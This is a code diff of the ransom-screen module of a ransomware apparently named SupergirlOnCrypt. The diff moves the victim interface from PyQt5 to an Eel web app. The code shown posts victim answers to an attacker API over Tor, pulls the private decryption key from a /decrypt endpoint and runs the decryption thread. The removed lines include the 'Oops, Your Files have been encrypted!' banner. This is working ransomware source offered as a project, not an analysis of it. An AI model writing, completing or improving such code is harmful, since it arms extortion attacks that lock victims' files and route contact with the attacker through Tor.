|
1 | 1 | import json
|
2 | 2 | import base64
|
3 | 3 | import collections
|
4 |
| -from PyQt5 import QtCore |
5 |
| -from PyQt5.QtCore import QSize |
6 |
| -from PyQt5.QtGui import QImage, QPalette, QBrush, QFont |
7 |
| -from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit |
8 | 4 | from Helper import Helper
|
9 | 5 | from TorManager import TorManager
|
10 | 6 | import Config
|
11 | 7 | import DecryptThread
|
12 | 8 | import requests
|
| 9 | +import eel |
13 | 10 |
|
| 11 | +uuid = "" |
14 | 12 |
|
| 13 | +def setup(): |
| 14 | + eel.init('web') |
15 | 15 |
|
16 |
| -class GUI(QWidget): |
17 |
| - def __init__(self, uuid): |
18 |
| - self.uuid = uuid |
19 |
| - QWidget.__init__(self) |
20 |
| - self.headerFont = QFont("Times", 22, QFont.AllUppercase) |
21 |
| - self.setup() |
| 16 | +def show(): |
| 17 | + web_app_options = { |
| 18 | + 'mode': "chrome-app", |
| 19 | + 'port': 1337, |
| 20 | + 'chromeFlags': [" --incognito"] |
| 21 | + } |
| 22 | + try: |
| 23 | + eel.start('ui.html', size=(1152,648), options=web_app_options) |
| 24 | + except EnvironmentError: |
| 25 | + web_app_options = { |
| 26 | + 'mode': "l33t", |
| 27 | + 'port': 1337 |
| 28 | + } |
| 29 | + eel.start('ui.html', size=(1152,648), options=web_app_options) |
22 | 30 |
|
23 |
| - def setup(self): |
24 |
| - self.resize(800, 600) |
25 |
| - self.setWindowTitle("SupergirlOnCrypt") |
26 |
| - self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint) |
27 |
| - self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint) |
28 |
| - self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint) |
29 |
| - self.setbg() |
30 |
| - self.placeWidgets() |
31 |
| - self.show() |
| 31 | +@eel.expose # Expose this function to Javascript |
| 32 | +def shutdown(): |
| 33 | + h = Helper() |
| 34 | + h.safe_exit() |
32 | 35 |
|
33 |
| - def setbg(self): |
34 |
| - h = Helper() |
35 |
| - oImage = QImage(h.path("res/gui_bg.jpg")) |
36 |
| - sImage = oImage.scaled(QSize(800, 600)) # resize Image to widgets size |
37 |
| - palette = QPalette() |
38 |
| - palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole |
39 |
| - self.setPalette(palette) |
| 36 | +@eel.expose |
| 37 | +def getQuestions(): |
| 38 | + h = Helper() |
| 39 | + l = [] |
| 40 | + with open(h.path('res/questions.txt'), 'r') as f: |
| 41 | + for q in f: |
| 42 | + l.append(q) |
| 43 | + return l |
40 | 44 |
|
41 |
| - def placeWidgets(self): |
42 |
| - #heading |
43 |
| - self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self) |
44 |
| - self.lbHeader.setFont(self.headerFont) |
45 |
| - self.lbHeader.setStyleSheet("QLabel { color: white;}") |
46 |
| - self.lbHeader.setGeometry(10, 15, 500, 120) |
| 45 | +@eel.expose |
| 46 | +def checkQuestions(answers): |
| 47 | + q = [] |
| 48 | + for i in range(len(answers)): |
| 49 | + r = answers[i] |
| 50 | + tmp = [getQuestions()[i].replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))] |
| 51 | + q.append(tmp) |
| 52 | + return sendAnswers(q) |
47 | 53 |
|
48 |
| - self.infoText = QTextEdit(self) |
49 |
| - self.infoText.setReadOnly(True) |
50 |
| - self.infoText.setGeometry(205, 150, 550, 360) |
51 |
| - h = Helper() |
52 |
| - with open(h.path('res/info.html'), 'r') as encrypt_info_file: |
53 |
| - encrypt_text = encrypt_info_file.read().replace('\n', '') |
54 |
| - self.infoText.setHtml(encrypt_text) |
| 54 | +def sendAnswers(q): |
| 55 | + tor = TorManager() |
| 56 | + r = tor.getSession() |
| 57 | + try: |
| 58 | + data = collections.OrderedDict() |
| 59 | + for i in range(0, len(q)): |
| 60 | + data[q[i][0]] = q[i][1].decode('utf-8') |
| 61 | + headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} |
| 62 | + req = r.post(Config.API_URL + "/answer/" + uuid, data=json.dumps(data), headers=headers) |
| 63 | + data = json.loads(req.text) |
| 64 | + if data['STATUS'] == "WRONG_ANSWERS": |
| 65 | + return False |
| 66 | + elif data['STATUS'] == "OK": |
| 67 | + return True |
| 68 | + except requests.exceptions.RequestException: |
| 69 | + return False |
55 | 70 |
|
56 |
| - self.progressBar = QProgressBar(self) |
57 |
| - self.progressBar.setRange(0, 0) |
58 |
| - self.progressBar.setGeometry(20, 550, 500, 24) |
59 |
| - self.progressBar.hide() |
| 71 | +@eel.expose |
| 72 | +def decryptData(): |
| 73 | + tor = TorManager() |
| 74 | + r = tor.getSession() |
| 75 | + try: |
| 76 | + req = r.get(Config.API_URL + "/decrypt/" + uuid) |
| 77 | + data = json.loads(req.text) |
| 78 | + if data['STATUS'] == "FAIL": |
| 79 | + eel.decrypt_fail() |
| 80 | + elif data['STATUS'] == "SUCCESS": |
| 81 | + privkey = base64.b64decode(data['priv_key']).decode('utf-8') |
| 82 | + decryptThread = DecryptThread.DecryptThread(privkey, eel) |
| 83 | + decryptThread.start() |
| 84 | + decryptThread.join() |
| 85 | + except requests.exceptions.RequestException: |
| 86 | + eel.decrypt_fail() |
60 | 87 |
|
61 |
| - #button decrypt |
62 |
| - self.btnDecrypt = QPushButton("Decrypt", self) |
63 |
| - self.btnDecrypt.move(650, 550) |
64 |
| - self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} " |
65 |
| - "QPushButton:hover {color:green;}") |
66 |
| - self.btnDecrypt.clicked.connect(self.askQuestions) |
67 |
| - |
68 |
| - def askQuestion(self, q): |
69 |
| - text, okPressed = QInputDialog.getText(self, "Supergirl", q, QLineEdit.Normal, "") |
70 |
| - if okPressed and text != '': |
71 |
| - return text |
72 |
| - else: |
73 |
| - return "" |
74 |
| - |
75 |
| - |
76 |
| - def askQuestions(self): |
77 |
| - h = Helper() |
78 |
| - questions = [] |
79 |
| - with open(h.path('res/questions.txt'), 'r') as f: |
80 |
| - for question in f: |
81 |
| - r = self.askQuestion(question) |
82 |
| - tmp = [question.replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))] |
83 |
| - questions.append(tmp) |
84 |
| - print(questions) |
85 |
| - self.sendAnswers(questions) |
86 |
| - |
87 |
| - def sendAnswers(self, q): |
88 |
| - tor = TorManager() |
89 |
| - r = tor.getSession() |
90 |
| - try: |
91 |
| - data = collections.OrderedDict() |
92 |
| - for i in range(0, len(q)): |
93 |
| - data[q[i][0]] = q[i][1].decode('utf-8') |
94 |
| - headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} |
95 |
| - req = r.post(Config.API_URL + "/answer/" + self.uuid, data=json.dumps(data), headers=headers) |
96 |
| - data = json.loads(req.text) |
97 |
| - if data['STATUS'] == "WRONG_ANSWERS": |
98 |
| - QMessageBox.question(self, "Still locked...", "Your machine is still locked\nAt least one Answer was wrong", QMessageBox.Ok) |
99 |
| - elif data['STATUS'] == "OK": |
100 |
| - self.decryptData() |
101 |
| - except requests.exceptions.RequestException: |
102 |
| - QMessageBox.question(self, "Error", "You are fucked...", |
103 |
| - QMessageBox.Ok) |
104 |
| - |
105 |
| - def decryptData(self): |
106 |
| - tor = TorManager() |
107 |
| - r = tor.getSession() |
108 |
| - try: |
109 |
| - req = r.get(Config.API_URL + "/decrypt/" + self.uuid) |
110 |
| - data = json.loads(req.text) |
111 |
| - if data['STATUS'] == "FAIL": |
112 |
| - QMessageBox.question(self, "Still locked...", "Decryption Failed!", QMessageBox.Ok) |
113 |
| - elif data['STATUS'] == "SUCCESS": |
114 |
| - self.progressBar.show() |
115 |
| - privkey = base64.b64decode(data['priv_key']).decode('utf-8') |
116 |
| - self.decryptThread = DecryptThread.DecryptThread(privkey) |
117 |
| - self.decryptThread.start() |
118 |
| - except requests.exceptions.RequestException: |
119 |
| - QMessageBox.question(self, "Error", "You are fucked...", |
120 |
| - QMessageBox.Ok) |
0 commit comments